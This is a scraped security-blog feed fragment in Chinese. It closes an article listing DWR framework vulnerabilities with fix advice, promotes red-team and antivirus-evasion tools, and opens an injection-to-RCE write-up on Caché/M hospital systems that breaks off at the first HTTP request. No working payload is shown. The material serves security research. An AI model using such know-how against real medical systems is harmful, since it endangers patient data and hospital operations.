2px;color: rgb(0, 0, 0) !important;border-bottom-color: rgb(0, 0, 0) !important;" href="https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&amp;mid=2247489710&amp;idx=1&amp;sn=3da0a42c282713d932adcdd522c15dbc&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/PAFrcKJcMHUso463jQR0mw" target="_blank">https://mp.weixin.qq.com/s/PAFrcKJcMHUso463jQR0mw</a></a></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">3、泛微Ecology Dwr SQL注入漏洞</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="font-weight: 500;text-decoration: underline 1px;text-underline-offset: 2px;color: rgb(0, 0, 0) !important;border-bottom-color: rgb(0, 0, 0) !important;" href="https://mp.weixin.qq.com/s?__biz=MzIyNzU2NDIwOA==&amp;mid=2247484227&amp;idx=4&amp;sn=16879b98440b77a676a949748d058177&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/932wxtVWnIJlLP-HcXd4dA" target="_blank">https://mp.weixin.qq.com/s/932wxtVWnIJlLP-HcXd4dA</a></a></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">4、Enesys客户服务管理平台dwr未授权访问</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="font-weight: 500;text-decoration: underline 1px;text-underline-offset: 2px;color: rgb(0, 0, 0) !important;border-bottom-color: rgb(0, 0, 0) !important;" href="https://mp.weixin.qq.com/s?__biz=MzE5ODgyNDczMQ==&amp;mid=2247483900&amp;idx=1&amp;sn=c12ef93139d8e06ecba9325f7cd9bcd1&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/xZYIqI68oTfQ25EJ6xwF7w" target="_blank">https://mp.weixin.qq.com/s/xZYIqI68oTfQ25EJ6xwF7w</a></a></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">5、CVE-2014-2609：DWR 2.x/3.x 反序列化漏洞</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">6、CVE-2013-5938：DWR 2.x/3.x  调用与ClassLoader相关问题</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">7、CVE-2014-0685：DWR 之前版本对scriptSessionId的处理缺陷</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;"><span leaf="">当然还有一些SSRF、任意文件读取等，但是实在找不到样例了，所以后面遇到要珍惜哦</span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038830" data-ratio="0.9254658385093167" style="max-width: 100% !important;height: 171px;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;width: 185px;" data-type="png" data-w="322" src="https://wechat2rss.xlab.app/img-proxy/?k=d80daf3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVIe1LPMgS13wmV2lrMicxDUY5ttiaFdoM1N8JHLiaLWO3UPpSWG7JX4fxw7N010FOe4Ho9cbia1E5EQibjWOLK4NxuEDVwj5LmcUHA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 40px;margin-right: 0px;margin-left: 0px;font-size: 24px;font-weight: 800;line-height: 1.4;letter-spacing: -0.5px;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">四、总结</span></span></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">4.1 一些晦涩的术语</span></span></p><p style="color: rgb(51, 51, 51);margin-top: 16px;margin-right: 0px;margin-left: 0px;font-size: 16px;line-height: 1.8;word-break: break-all;box-sizing: border-box;max-width: 100% !important;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.40555555555555556" data-type="png" data-w="1080" style="max-width: 100% !important;height: auto;display: block;margin-top: 20px;margin-right: auto;margin-left: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038831" src="https://wechat2rss.xlab.app/img-proxy/?k=c383e2e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdV4pZ0hP4ibf7llvLUd3sKB93JWm1CS2Vrj6GQtF5OEpnFkhjnSvGJ9qAerYiax0yxe5CcteibksFErxLjtPo8gKDZryM3ibJ4MlXI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 30px;margin-right: 0px;margin-left: 0px;font-size: 20px;font-weight: bold;border-bottom-width: 2px;border-bottom-style: solid;padding-bottom: 5px;display: inline-block;color: rgb(0, 0, 0) !important;border-color: rgb(0, 0, 0) !important;word-break: break-all;box-sizing: border-box;max-width: 100% !important;"><span style="color: rgb(0, 0, 0) !important;"><span leaf="">4.2 一些修复建议</span></span></p></div><p data-pm-slice="0 0 []" style="color: black;padding: 10px;word-break: break-all;font-size: 16px;line-height: 1.8;text-align: left;margin-bottom: 0px;box-sizing: border-box;max-width: 100% !important;"><span style="display: inline;"><span leaf="">1、内部必须用 PreparedStatement，禁止字符串拼接</span></span></p><p data-pm-slice="0 0 []" style="color: black;padding: 10px;word-break: break-all;font-size: 16px;line-height: 1.8;text-align: left;margin-bottom: 0px;box-sizing: border-box;max-width: 100% !important;"><span style="display: inline;"><span leaf="">2、DWR 关闭调试模式：debugfalse</span></span></p><p data-pm-slice="0 0 []" style="color: black;padding: 10px;word-break: break-all;font-size: 16px;line-height: 1.8;text-align: left;margin-bottom: 0px;box-sizing: border-box;max-width: 100% !important;"><span style="display: inline;"><span leaf="">3、加反代层白名单，仅允许特定 IP/UA 调用 *.dwr 路径</span></span></p><p data-pm-slice="0 0 []" style="color: black;padding: 10px;word-break: break-all;font-size: 16px;line-height: 1.8;text-align: left;margin-bottom: 0px;box-sizing: border-box;max-width: 100% !important;"><span style="display: inline;"><span leaf="">4、引入 RBAC 中间件，DWR 方法调用前后做角色校验</span></span></p><p data-pm-slice="0 0 []" style="color: black;padding: 10px;word-break: break-all;font-size: 16px;line-height: 1.8;text-align: left;margin-bottom: 0px;box-sizing: border-box;max-width: 100% !important;"><span style="display: inline;"><span leaf="">5、升级 DWR 至最后版本（3.0 RC 系列修复了若干反序列化问题）；更优解是迁移到 Spring Boot + REST + Spring Security</span></span></p><div data-mid="" style="margin-bottom: 15px;max-width: 100% !important;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><div data-mid="" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" style="padding-right: 24px;padding-left: 24px;max-width: 100% !important;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" style="margin-bottom: 0px;max-width: 100% !important;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><div data-mid="" style="max-width: 100% !important;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><div data-mid="" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" style="padding: 3px;max-width: 100% !important;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><div data-mid="" style="padding-right: 12px;padding-left: 12px;max-width: 100% !important;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div style="margin-bottom: 0px;max-width: 100% !important;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: Helvetica Neue, Helvetica, Hiragino Sans GB, Microsoft YaHei, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><div style="max-width: 100% !important;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><p style="max-width: 100% !important;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;max-width: 100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></p></div></div><div style="margin-bottom: 0px;max-width: 100% !important;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;word-break: break-all;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100% !important;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;word-break: break-all;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100% !important;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;word-break: break-all;"><div style="max-width: 100% !important;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;word-break: break-all;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div data-tools-id="47164" style="max-width: 100% !important;overflow: hidden;color: rgb(0, 0, 0);font-family: Helvetica Neue, Helvetica, Hiragino Sans GB, Microsoft YaHei, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><div style="max-width: 100% !important;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><p style="padding: 10px 15px;max-width: 100% !important;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100% !important;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box;word-break: break-all;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5f9613df&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247522480%26idx%3D1%26sn%3D7be1a7e7226743d44fed56b8a59f9897">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 Aug 2026 17:31:00 +0800</pubDate>
    </item>
    <item>
      <title>医疗领域的隐形门-M与Caché</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247522445&amp;idx=1&amp;sn=399ac66912618c37a63e35f5255922d5</link>
      <description>针对Caché/M的安全研究,分享我此次测试过程，希望能够对各位大佬做医疗领域的攻防时有些帮助。</description>
      <content:encoded><![CDATA[<p>原创 <span>Sp1ke</span> <span>2026-07-02 17:30</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ee91327e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdXSUMZqGcPzVbqQpJib9SVyesEfwozIarbXAS2n2icQZ3qfNnFDicQA9ovyXTMVVlWddxdH8xRcLT6TqKGxk63cicgqVGLExcKyWao%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>针对Caché/M的安全研究,分享我此次测试过程，希望能够对各位大佬做医疗领域的攻防时有些帮助。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-pm-slice="0 0 []" style="color: black;padding: 10px;word-break: break-word;font-size: 16px;line-height: 1.75;"><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x01 前言</span></p><p style="margin: 0px 0px 20px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">前段时间在做测试时遇到了一套His系统，使用的Caché作为数据库、M作为程序语言，使用AI配合对参数的挖掘，也是实现了从注入到RCE的过程；由于针对Caché/M的安全研究搜索了全网的资料发现仅有几篇、国内医疗系统提供商东华内部Caché/M的占比不低，因此分享我此次测试过程，希望能够对各位大佬做医疗领域的攻防时有些帮助。</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">由于时间过去很久，主页截图已经无了，分享就直接从数据包开始。原生数据包如下：</span></p><pre data-language="http" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="POST /imedical/web/csp/dhc.bdp.ext.datatrans.csp?pClassName=web.DHCBL.CT.SSUser&amp;amp;pClassMethod=GetTreeJson HTTP/1.1
Host: 
Connection: keep-alive
Content-Length: 60
Origin: 
X-Requested-With: XMLHttpRequest
User-Agent: 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer:
